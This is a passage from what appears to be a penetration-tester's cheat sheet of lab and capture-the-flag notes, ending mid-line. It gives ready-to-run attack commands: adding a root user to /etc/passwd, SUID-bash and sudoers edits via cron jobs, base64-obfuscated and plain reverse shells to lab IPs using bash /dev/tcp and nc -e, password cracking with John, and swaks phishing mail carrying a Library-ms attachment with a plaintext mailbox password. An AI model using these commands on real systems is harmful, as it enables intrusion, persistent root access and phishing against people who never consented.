href="#29privilege-escalation-with-the-python-cap_sys_ptraceep-capability" class="header-anchor"&gt;&lt;/a&gt;29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability&#10;&lt;/h3&gt;&lt;p&gt;Command: getcap -r / 2&amp;gt;/dev/null |grep python&lt;/p&gt;&#10;&lt;p&gt;Output: /usr/bin/python2.7 = cap_sys_ptrace+ep&lt;/p&gt;&#10;&lt;p&gt;Script:&#10;&lt;a class="link" href="https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py" target="_blank" rel="noopener"&#10; &gt;https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Tutorial:&#10;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/15185591.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/15185591.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="30-etcpasswd-privilege-escalation"&gt;&lt;a href="#30-etcpasswd-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;30. /etc/passwd Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;When /etc/passwd is writable, add a user entry and switch to it with su.&lt;/p&gt;&#10;&lt;p&gt;Generate a salted password. Password is the password to set, and salt is the salt to use.&lt;/p&gt;&#10;&lt;p&gt;perl -le &amp;lsquo;print crypt(&amp;ldquo;Password&amp;rdquo;,&amp;ldquo;salt&amp;rdquo;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;Write it to /etc/passwd, then switch users with su.&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;hack:ad7t5uIalqMws:0:0::/root:/bin/bash&amp;rdquo; &amp;raquo; /etc/passwd&lt;/p&gt;&#10;&lt;h3 id="31cron-job-privilege-escalation"&gt;&lt;a href="#31cron-job-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;31.Cron-Job Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;cat /etc/crontab&lt;/p&gt;&#10;&lt;p&gt;Inspect the scheduled tasks and identify the important part.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# */5 * * * * root cd /var/www/html/ &amp;amp;&amp;amp; sudo ./finally.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 1: Minute (0-59)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 2: Hour (0-23)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 3: Day of the month (1-31)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 4: Month (1-12)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 5: Day of the week (0-7, where both 0 and 7 represent Sunday)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 6: User that executes the command&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 7: Command to execute&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;This means that every five minutes, root enters the &lt;code&gt;/var/www/html/&lt;/code&gt; directory and runs the &lt;code&gt;finally.sh&lt;/code&gt; script with sudo privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;When a file executed by a scheduled task runs as root and an ordinary user can modify that file&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;chmod u+s /bin/bash&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;chmod u+s /bin/bash&lt;/p&gt;&#10;&lt;p&gt;/bin/bash -p # Escalate to the root group&lt;/p&gt;&#10;&lt;p&gt;Or:&lt;/p&gt;&#10;&lt;p&gt;cp /bin/bash /var/www/html/suidbash&#10;chmod u+s /var/www/html/suidbash&lt;/p&gt;&#10;&lt;p&gt;suidbash -p # Escalate to the root group&lt;/p&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;sudo -l&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;echo &amp;lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh&amp;rsquo; &amp;raquo; /etc/sudoers&#10;Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable.&#10;Finally, run the file with sudo to escalate privileges, as shown below:&lt;/p&gt;&#10;&lt;p&gt;chmod u+s finally.sh&#10;echo &amp;lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh&amp;rsquo; &amp;raquo; /etc/sudoers&lt;/p&gt;&#10;&lt;p&gt;sudo -l&lt;/p&gt;&#10;&lt;p&gt;Matching Defaults entries for www-data on sar:&#10;env_reset, mail_badpass,&#10;secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin&lt;/p&gt;&#10;&lt;p&gt;User www-data may run the following commands on sar:&#10;(ALL) NOPASSWD: /var/www/html/finally.sh&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;su root&amp;rsquo; &amp;raquo; finally.sh&#10;sudo /var/www/html/finally.sh&lt;/p&gt;&#10;&lt;h3 id="32bypassing-command-injection-restrictions"&gt;&lt;a href="#32bypassing-command-injection-restrictions" class="header-anchor"&gt;&lt;/a&gt;32.Bypassing Command-Injection Restrictions&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/3918" target="_blank" rel="noopener"&#10; &gt;Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=&amp;rdquo; | base64 -d | bash&lt;/p&gt;&#10;&lt;p&gt;echo Decode and execute&lt;/p&gt;&#10;&lt;h3 id="33reversing-pyc-with-uncompyle6"&gt;&lt;a href="#33reversing-pyc-with-uncompyle6" class="header-anchor"&gt;&lt;/a&gt;33.Reversing pyc with uncompyle6&#10;&lt;/h3&gt;&lt;p&gt;This is all you need to reverse a pyc file:&#10;uncompyle6 1.pyc &amp;gt; 1.py&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://tools.bugscaner.com/decompyle/" target="_blank" rel="noopener"&#10; &gt;Online decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="34reverse-shells"&gt;&lt;a href="#34reverse-shells" class="header-anchor"&gt;&lt;/a&gt;34.Reverse Shells&#10;&lt;/h3&gt;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.2.75/9999 &amp;lt;&amp;amp;1&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;nc -e /bin/bash 192.168.31.17 7777&lt;/p&gt;&#10;&lt;h3 id="35john"&gt;&lt;a href="#35john" class="header-anchor"&gt;&lt;/a&gt;35.john&#10;&lt;/h3&gt;&lt;p&gt;echo &amp;lsquo;$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41&amp;rsquo; &amp;raquo;/tmp/1&#10;john /tmp/1 &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;zip:&#10;zip2john passwd.zip &amp;gt; passwd.hash&lt;/p&gt;&#10;&lt;p&gt;john passwd.hash&#10;john passwd.hash &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;pot=new.pot hash.txt &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;h3 id="36process-discovery-with-pspy"&gt;&lt;a href="#36process-discovery-with-pspy" class="header-anchor"&gt;&lt;/a&gt;36.Process Discovery with pspy&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1" target="_blank" rel="noopener"&#10; &gt;Release No more waiting on drain · DominicBreuker/pspy · GitHub&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Upload and run it to inspect processes, then continue with privilege escalation.&lt;/p&gt;&#10;&lt;h3 id="37wordlists"&gt;&lt;a href="#37wordlists" class="header-anchor"&gt;&lt;/a&gt;37.Wordlists&#10;&lt;/h3&gt;&lt;p&gt;Directory brute-forcing wordlists:&lt;/p&gt;&#10;&lt;p&gt;/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt&lt;/p&gt;&#10;&lt;p&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sort -u duweixin.net.txt&#9;&#9;#Remove duplicates&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sort -r duweixin.net.txt&#9;&#9;#Reverse sort&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is very powerful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;feroxbuster --url http://&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="38smtp"&gt;&lt;a href="#38smtp" class="header-anchor"&gt;&lt;/a&gt;38.smtp&#10;&lt;/h3&gt;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;Command&#9;Purpose&lt;/p&gt;&#10;&lt;p&gt;helo smtp&#9;Greet the server and test whether login worked&lt;/p&gt;&#10;&lt;p&gt;auth login&#9;Log in to a specific mailbox; the username and password are base64-encoded&lt;/p&gt;&#10;&lt;p&gt;mail from&#9;Enter the email sender&lt;/p&gt;&#10;&lt;p&gt;rcpt to&#9;Enter the email recipient&lt;/p&gt;&#10;&lt;p&gt;data&#9;Start composing the email&lt;/p&gt;&#10;&lt;p&gt;quit&#9;Exit&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Greet the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HELO mail.relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AUTH LOGIN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter the Base64-encoded username (maildmz@relia.com)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bWFpbGRtekByZWxpYS5jb20=&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter the Base64-encoded password (DPuBT9tGCBrTbR)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RFB1QlQ5dEdjQnJUYlI=&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MAIL FROM:&amp;lt;maildmz@relia.com&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RCPT TO:&amp;lt;RECIPIENT_EMAIL&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DATA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subject: Test email&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is the email body&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. # A dot on its own line terminates the message body&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks --to jim@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --from maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --server 192.168.183.189 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth LOGIN \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-user maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-password DPuBT9tGCBrTbR \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --header &amp;#34;Subject: Test Email Subject&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --body &amp;#34;This is the email body content.\nMultiple lines can be included.\n&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach file.txt \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach-type &amp;#34;text/plain&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach-name &amp;#34;custom_filename.txt&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prefix attachments with @&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body &amp;#34;This is the email body content.\nMultiple lines can be included.\n&amp;#34; --header &amp;#34;Subject: Urgent Configuration Setup&amp;#34; --suppress-data&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here is a serious problem I ran into: I could not include an attachment.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the email format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt; email.txt &amp;lt;&amp;lt; &amp;#39;EOL&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From: maildmz@relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To: jim@relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subject: Urgent Configuration Setup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MIME-Version: 1.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: multipart/mixed; boundary=boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: text/plain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is the email body content.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: application/ms-library&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Transfer-Encoding: base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Disposition: attachment; filename=&amp;#34;configuration.Library-ms&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Base64-encode the file being sent and place it below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;base64 configuration.Library-ms &amp;gt;&amp;gt; email.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# End&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary--&amp;#34; &amp;gt;&amp;gt; email.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Request packet up to this point&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks -to jim@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --from maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth LOGIN \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-user maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-password DPuBT9tGCBrTbR \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --server 192.168.183.189 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --data &amp;#34;$(cat email.txt)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Common response codes:&lt;/p&gt;&#10;&lt;p&gt;Code&#9;Meaning&lt;/p&gt;&#10;&lt;p&gt;220&#9;SMTP is online and ready for operations&lt;/p&gt;&#10;&lt;p&gt;221&#9;Close the SMTP service&lt;/p&gt;&#10;&lt;p&gt;250&#9;The current operation completed successfully&lt;/p&gt;&#10;&lt;p&gt;334&#9;Waiting for input; appears during user login&lt;/p&gt;&#10;&lt;p&gt;235&#9;Authentication succeeded&lt;/p&gt;&#10;&lt;p&gt;535&#9;Authentication failed&lt;/p&gt;&#10;&lt;h3 id="39pop3"&gt;&lt;a href="#39pop3" class="header-anchor"&gt;&lt;/a&gt;39.pop3&#10;&lt;/h3&gt;&lt;p&gt;The POP3 protocol&lt;/p&gt;&#10;&lt;p&gt;The default POP3 port is 110. The POP3 protocol has two stages:&lt;/p&gt;&#10;&lt;p&gt;Authentication stage&lt;/p&gt;&#10;&lt;p&gt;The client enters a username and password for authentication, and the server returns OK or ERR.&lt;/p&gt;&#10;&lt;p&gt;Transaction stage&lt;/p&gt;&#10;&lt;p&gt;This stage supports basic email operations.&lt;/p&gt;&#10;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;Command&#9;Purpose&lt;/p&gt;&#10;&lt;p&gt;user&#9;Enter the username&lt;/p&gt;&#10;&lt;p&gt;pass&#9;Enter the password&lt;/p&gt;&#10;&lt;p&gt;list&#9;List the number of messages and number them automatically&lt;/p&gt;&#10;&lt;p&gt;retr&#9;Retrieve a message by its number&lt;/p&gt;&#10;&lt;p&gt;dele&#9;Delete a message&lt;/p&gt;&#10;&lt;p&gt;quit&#9;Exit&lt;/p&gt;&#10;&lt;h3 id="40nmap"&gt;&lt;a href="#40nmap" class="header-anchor"&gt;&lt;/a&gt;40.nmap&#10;&lt;/h3&gt;&lt;p&gt;nmap -p- &amp;ndash;min-rate 10000 10.10.10.51&lt;/p&gt;&#10;&lt;p&gt;&amp;ndash;script vuln&lt;/p&gt;&#10;&lt;p&gt;find /usr/share/nmap/scripts -name &amp;lsquo;&lt;em&gt;wordpress&lt;/em&gt;&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;nmap -T4 -Pn -sC &amp;ndash;script http-wordpress-enum &amp;ndash;script-args http-wordpress-enum.root=&amp;quot;/webservices/wp/&amp;quot;,http-wordpress-enum.search-limit=&amp;ldquo;all&amp;rdquo;,http-wordpress-enum.check-latest=&amp;ldquo;true&amp;rdquo; -p80 tartarsauce.htb&lt;/p&gt;&#10;&lt;p&gt;nmap -p- &amp;ndash;min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;# enumerate 